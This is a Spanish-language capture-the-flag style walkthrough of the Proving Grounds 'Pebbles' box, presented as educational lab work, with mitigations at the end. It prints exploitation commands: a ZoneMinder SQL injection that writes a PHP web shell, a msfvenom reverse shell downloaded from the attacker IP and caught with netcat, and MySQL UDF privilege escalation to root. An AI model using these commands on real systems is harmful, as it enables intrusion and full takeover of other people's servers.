Pebbles — Proving Grounds
Walkthrough de una máquina Linux de Proving Grounds que cubre una SQL injection en ZoneMinder, la escritura de archivos desde MySQL en el web root de Apache, una reverse shell como www-data y la escalada de privilegios con una UDF de MySQL.
- Plataforma
- Proving Grounds
- Dificultad
- Difícil
- Fecha
- Linux
- Proving Grounds
- ZoneMinder
- SQL Injection
- PHP
- MySQL
- UDF
- Privilege Escalation
Descripción general
Pebbles es una máquina Linux de Proving Grounds. La ruta de ataque combina una instancia expuesta de ZoneMinder, una SQL injection, escritura de archivos mediante MySQL en el web root de Apache, ejecución de comandos a través de PHP, una reverse shell como www-data y escalada de privilegios mediante una UDF de MySQL.
Este walkthrough independiente documenta un ejercicio autorizado con fines educativos y no está afiliado ni respaldado por OffSec.
Resumen del ataque
Nmap identificó varios servicios web, entre ellos ZoneMinder 1.29.0 en un listener de Apache no estándar. Una SQL injection permitió escribir código PHP en el web root y obtener una reverse shell como
www-data. La enumeración local mostró que MySQL se ejecutaba como root; una UDF maliciosa permitió escalar privilegios hasta root.
Enumeración
El escaneo TCP completo contra 192.168.221.52 identificó cinco puertos abiertos:
sudo nmap -sS -T4 -p- 192.168.221.52
21/tcp open ftp
22/tcp open ssh
80/tcp open http
3305/tcp open odette-ftp
8080/tcp open http-proxy
Un segundo escaneo incorporó scripts predeterminados, detección de versiones y análisis del sistema operativo:
sudo nmap -sS -sC -sV -O -T4 -p 21,22,80,3305,8080 192.168.221.52 -oN nmap-tcp.txt
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
3305/tcp open http Apache httpd 2.4.18 ((Ubuntu))
8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Tomcat
|_http-favicon: Apache Tomcat
La etiqueta inicial odette-ftp provenía de la asociación predeterminada de Nmap para ese puerto. La detección de servicios sustituyó esa suposición y confirmó que el puerto 3305 servía HTTP con Apache. El análisis del sistema operativo advirtió que sus resultados podían ser poco confiables, por lo que no se estableció un fingerprint exacto.
También ejecuté un escaneo UDP breve:
sudo nmap -sU --top-ports 20 192.168.221.52 -oN nmap-udp-top.txt --open
Los resultados fueron únicamente open|filtered y no permitieron confirmar una ruta de ataque por UDP.
Análisis de los servicios web
El puerto 80 ejecutaba Apache 2.4.18 y mostraba una página de login de Pebbles, además de ZoneMinder bajo /zm.
El puerto 3305 también utilizaba Apache 2.4.18. La raíz presentaba la página predeterminada de Apache en Ubuntu, mientras que /zm exponía ZoneMinder.
El puerto 8080 correspondía a Apache Tomcat. La enumeración encontró hello.php, y RELEASE-NOTES.txt reveló la versión 9.0.30. Tomcat no ofreció una vía de explotación útil y quedó como un camino sin salida.
Descubrimiento de ZoneMinder
La enumeración de directorios identificó la ruta /zm, que exponía ZoneMinder Console v1.29.0. La aplicación estaba disponible a través de ambos servicios Apache.
/zm exponía ZoneMinder Console v1.29.0.Análisis de vulnerabilidades conocidas
Primero probé un PoC público de RCE mediante snapshots contra ZoneMinder, pero no obtuve ejecución de comandos. Como no se conservó un error de diagnóstico, no fue posible determinar la causa exacta. Que ese PoC fallara no descartaba otras vulnerabilidades asociadas a ZoneMinder 1.29.0, por lo que continué investigando hasta identificar una SQL injection.
Explotación de la SQL injection
Una request manipulada de ZoneMinder explotó una SQL injection que permitía escribir archivos desde MySQL. La sentencia inyectada utilizó la siguiente cláusula para crear contenido PHP dentro del web root de Apache:
INTO OUTFILE '/var/www/html/rce.php'
El archivo PHP aceptaba el parámetro de consulta cmd y ejecutaba como comando el valor recibido.
INTO OUTFILE para escribir una web shell PHP en el web root de Apache.El archivo resultante no estaba disponible en el puerto 80, pero sí en el 3305. Solicité /rce.php?cmd=whoami a través del puerto 3305:
whoami
www-data
La web shell respondió como www-data, confirmando ejecución de comandos en el servidor.
www-data.Obtención de una shell inicial
Para obtener una shell interactiva, generé un payload Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.45.177 LPORT=80 -f raw > shell.sh
Lo serví desde la máquina atacante:
python3 -m http.server 80
Desde la web shell, lo descargué en /tmp. Le asigné permisos de ejecución; al enviar los comandos en el parámetro cmd, apliqué codificación URL donde era necesario:
wget -P /tmp/ http://192.168.45.177/shell.sh
chmod +x /tmp/shell.sh
Con el listener activo, ejecuté el archivo:
rlwrap nc -nvlp 80
/tmp/shell.sh
El listener recibió una shell como www-data, la cuenta del servicio web:
whoami
www-data
www-data.Enumeración local
Después de obtener la shell como www-data, ejecuté LinPEAS para buscar vectores locales de escalada de privilegios. La salida identificó Ubuntu 16.04.6 LTS con el kernel 4.8.0-1-pve. LinPEAS mostró que mysqld se ejecutaba como root y que el sistema utilizaba MySQL 5.7.30 para Linux x86_64. También identificó archivos de configuración legibles de ZoneMinder y MySQL.
Análisis de MySQL
LinPEAS mostró que mysqld se ejecutaba como root. Como las UDF se cargan dentro del proceso de MySQL, una función capaz de ejecutar comandos del sistema heredaría esos mismos privilegios. Además, los archivos escritos por MySQL serían propiedad de root. ps aux confirmó que el proceso se ejecutaba como root y mysql --version identificó la versión para Linux x86_64:
root ... /usr/sbin/mysqld ...
mysql Ver 14.14 Distrib 5.7.30, for Linux (x86_64)
La configuración legible de ZoneMinder exponía las credenciales utilizadas por la aplicación; su valor se omite. La escalada no requirió abrir una sesión independiente en MySQL: las sentencias SQL necesarias para instalar e invocar la UDF se enviaron mediante la SQL injection existente y se ejecutaron usando la conexión de base de datos de la aplicación.
Para la escalada utilicé raptor_udf2, correspondiente a Exploit-DB 1518. Su función do_system llama a system() para ejecutar comandos del sistema operativo. La librería compartida debía ser compatible con el proceso mysqld x86_64 del objetivo; MySQL habría rechazado un plugin de 32 bits.
La librería compartida tenía que escribirse en el directorio de plugins de MySQL. secure_file_priv controla qué operaciones de lectura y escritura de archivos puede realizar el servidor; la posterior shell de root confirmó que la instalación de la UDF funcionó.
La evidencia conservada muestra únicamente el paso final que generó raptor_udf2.so; el comando previo utilizado para compilar el archivo objeto no quedó registrado:
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o
La librería compartida compilada se transfirió a /tmp en Pebbles mediante wget.
El listado ls -la del web root mostró que el archivo creado por la SQL injection pertenecía a root. Esto corroboró que las escrituras de MySQL se realizaban con esa identidad y que el mismo mecanismo podía escribir la librería compartida en el directorio de plugins. El paso siguiente consistía en instalar la UDF y activar la escalada.
Escalada de privilegios
Para instalar la UDF, reutilicé la misma SQL injection con la que había escrito rce.php. Al añadir sentencias después del punto de inyección task=query&limit=100;, ZoneMinder las ejecutaba a través de su conexión a la base de datos. Las envié por ese canal desde Burp Repeater:
CREATE TABLE foo(line BLOB);
INSERT INTO foo VALUES(LOAD_FILE('/tmp/raptor_udf2.so'));
SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so';
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
fooalmacena la librería compartida como un BLOB.LOAD_FILEcarga el archivo.sodesde/tmp.INTO DUMPFILElo escribe en el directorio de plugins de MySQL.CREATE FUNCTIONregistrado_systemcomo una UDF.
Con do_system registrada, ejecuté el payload Bash desde el proceso de MySQL:
SELECT do_system('/bin/bash /tmp/bash.sh');
El listener de Netcat ya estaba a la espera en la máquina atacante:
rlwrap nc -nvlp 80
El listener recibió una shell como root, y desde ella leí /root/proof.txt:
listening on [any] 80 ...
connect to [192.168.45.177] from (UNKNOWN) [192.168.221.52] 33574
whoami
root
cat /root/proof.txt
b821ed93d34265434906b9d28d7e8f18
En Pebbles solo existía /root/proof.txt.
/root/proof.txt.Causa raíz
Acceso inicial
- ZoneMinder 1.29.0 estaba expuesto mediante un servicio web accesible.
- La aplicación era vulnerable a SQL injection.
- Los permisos de escritura de MySQL permitían que la SQL injection creara contenido PHP dentro del web root de Apache.
- Apache y PHP ejecutaron el archivo escrito, entregando ejecución de comandos como
www-data.
Escalada de privilegios
- MySQL se ejecutaba como el usuario root del sistema operativo.
- El acceso a la base de datos y los permisos sobre el directorio de plugins permitían cargar una librería compartida utilizada como UDF.
- La UDF ejecutaba comandos del sistema operativo con los privilegios del proceso MySQL, lo que permitió obtener acceso como root.
Mitigaciones
- Actualizar ZoneMinder y corregir la vulnerabilidad de SQL injection.
- Restringir ZoneMinder y las interfaces administrativas web a redes confiables y usuarios autorizados.
- Impedir que las cuentas de base de datos escriban archivos ejecutables dentro de directorios accesibles desde la web.
- Ejecutar MySQL con una cuenta de servicio dedicada y sin privilegios elevados, y restringir estrictamente la creación de UDF y los permisos del directorio de plugins.
Aprendizajes
- La detección de versiones y servicios debe prevalecer sobre las etiquetas predeterminadas asociadas a cada puerto.
- Una misma aplicación expuesta a través de listeners distintos puede comportarse de forma diferente y dar acceso a archivos o funciones distintas.
- Que un exploit público falle no significa que la aplicación sea segura; conviene seguir investigando otras vulnerabilidades asociadas a la versión identificada.
- Una SQL injection puede convertirse en ejecución de comandos del sistema operativo cuando la base de datos puede escribir archivos ejecutables en un web root.
- Funcionalidades extensibles como las UDF pueden convertirse en vectores de escalada cuando el servicio de base de datos se ejecuta con privilegios excesivos.